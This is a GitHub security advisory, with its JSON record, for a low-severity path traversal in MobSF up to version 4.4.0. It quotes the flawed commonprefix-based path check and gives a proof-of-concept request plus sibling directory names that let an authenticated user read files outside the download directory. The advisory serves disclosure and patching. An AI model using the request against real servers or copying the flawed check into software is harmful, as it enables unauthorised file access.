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GHSA-CCC3-FVFX-MW3V

Vulnerability from github – Published: 2025-09-02 17:14 – Updated: 2025-09-02 17:14
VLAI
Summary
MobSF Path Traversal in GET /download/<filename> using absolute filenames
Details

Summary

The GET /download/ route uses string path verification via os.path.commonprefix, which allows an authenticated user to download files outside the DWD_DIR download directory from "neighboring" directories whose absolute paths begin with the same prefix as DWD_DIR (e.g., .../downloads_bak, .../downloads.old). This is a Directory Traversal (escape) leading to a data leak.

Details

def is_safe_path(safe_root, check_path):
    safe_root  = os.path.realpath(os.path.normpath(safe_root))
    check_path = os.path.realpath(os.path.normpath(check_path))
    return os.path.commonprefix([check_path, safe_root]) == safe_root

commonprefix compares raw strings, not path components. For:

safe_root  = /home/mobsf/.MobSF/downloads
check_path = /home/mobsf/.MobSF/downloads_bak/test.txt

the function returns True, incorrectly treating downloads_bak as inside downloads. Download handler:

# MobSF/views/home.py
@login_required
def download(request):
    root = settings.DWD_DIR
    filename = request.path.replace('/download/', '', 1)
    dwd_file = Path(root) / filename  # absolute 'filename' ignores 'root'
    if '../' in filename or not is_safe_path(root, dwd_file):
        return HttpResponseForbidden(...)
    ext = dwd_file.suffix
    if ext in settings.ALLOWED_EXTENSIONS and dwd_file.is_file():
        return file_download(dwd_file, ...)

If the client supplies an absolute path in filename (starts with / or C:/), Path(root) / filename resolves to that absolute path; the flawed is_safe_path then accepts any sibling directory whose absolute path shares the same string prefix. The ../ check does not catch this.

Which file types are retrievable: Whatever is allowed by settings.ALLOWED_EXTENSIONS

PoC

Prereqs: authenticated user; standard install. Assume:

settings.DWD_DIR = /home/mobsf/.MobSF/downloads

Prepare a sibling directory with the same string prefix and a test file:

mkdir -p /home/mobsf/.MobSF/downloads_bak
echo "test" > /home/mobsf/.MobSF/downloads_bak/test.txt

As an authenticated user, request (note the leading / in the filename and the double/triple slash after /download/ to preserve it):

GET /download///home/mobsf/.MobSF/downloads_bak/test.txt HTTP/1.1
Host: <HOST>
Cookie: sessionid=<YOUR_SESSION>

Other working sibling directory names (if present):

…/downloads.old/...
…/downloads_backup/...
…/downloads1/...
…/downloads-archive/...
…/downloads 2024/... (URL-encoded space: downloads%202024)

Impact

Any authenticated user can download files (with allowed extensions) from sibling directories whose absolute paths start with the same string prefix as DWD_DIR.

Severity
1.3 (Low)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.4.0"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "mobsf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.4.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-58161"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-02T17:14:06Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "### Summary\nThe GET /download/\u003cfilename\u003e route uses string path verification via os.path.commonprefix, which allows an authenticated user to download files outside the DWD_DIR download directory from \"neighboring\" directories whose absolute paths begin with the same prefix as DWD_DIR (e.g., .../downloads_bak, .../downloads.old). This is a Directory Traversal (escape) leading to a data leak.\n\n### Details\n```\ndef is_safe_path(safe_root, check_path):\n    safe_root  = os.path.realpath(os.path.normpath(safe_root))\n    check_path = os.path.realpath(os.path.normpath(check_path))\n    return os.path.commonprefix([check_path, safe_root]) == safe_root\n```\ncommonprefix compares raw strings, not path components. For:\n```\nsafe_root  = /home/mobsf/.MobSF/downloads\ncheck_path = /home/mobsf/.MobSF/downloads_bak/test.txt\n```\nthe function returns True, incorrectly treating downloads_bak as inside downloads.\nDownload handler:\n```\n# MobSF/views/home.py\n@login_required\ndef download(request):\n    root = settings.DWD_DIR\n    filename = request.path.replace(\u0027/download/\u0027, \u0027\u0027, 1)\n    dwd_file = Path(root) / filename  # absolute \u0027filename\u0027 ignores \u0027root\u0027\n    if \u0027../\u0027 in filename or not is_safe_path(root, dwd_file):\n        return HttpResponseForbidden(...)\n    ext = dwd_file.suffix\n    if ext in settings.ALLOWED_EXTENSIONS and dwd_file.is_file():\n        return file_download(dwd_file, ...)\n```\nIf the client supplies an absolute path in filename (starts with / or C:/), Path(root) / filename resolves to that absolute path; the flawed is_safe_path then accepts any sibling directory whose absolute path shares the same string prefix. The ../ check does not catch this.\n\nWhich file types are retrievable: Whatever is allowed by settings.ALLOWED_EXTENSIONS\n\n### PoC\nPrereqs: authenticated user; standard install.\nAssume:\n```\nsettings.DWD_DIR = /home/mobsf/.MobSF/downloads\n```\nPrepare a sibling directory with the same string prefix and a test file:\n```\nmkdir -p /home/mobsf/.MobSF/downloads_bak\necho \"test\" \u003e /home/mobsf/.MobSF/downloads_bak/test.txt\n```\nAs an authenticated user, request (note the leading / in the filename and the double/triple slash after /download/ to preserve it):\n```\nGET /download///home/mobsf/.MobSF/downloads_bak/test.txt HTTP/1.1\nHost: \u003cHOST\u003e\nCookie: sessionid=\u003cYOUR_SESSION\u003e\n```\nOther working sibling directory names (if present):\n```\n\u2026/downloads.old/...\n\u2026/downloads_backup/...\n\u2026/downloads1/...\n\u2026/downloads-archive/...\n\u2026/downloads 2024/... (URL-encoded space: downloads%202024)\n```\n### Impact\nAny authenticated user can download files (with allowed extensions) from sibling directories whose absolute paths start with the same string prefix as DWD_DIR.",
  "id": "GHSA-ccc3-fvfx-mw3v",
  "modified": "2025-09-02T17:14:06Z",
  "published": "2025-09-02T17:14:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/security/advisories/GHSA-ccc3-fvfx-mw3v"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/commit/7f3bc086c028c1b50889cab8a15f7b59b7abdaf9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MobSF/Mobile-Security-Framework-MobSF/releases/tag/v4.4.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MobSF Path Traversal in GET /download/\u003cfilename\u003e using absolute filenames"
}



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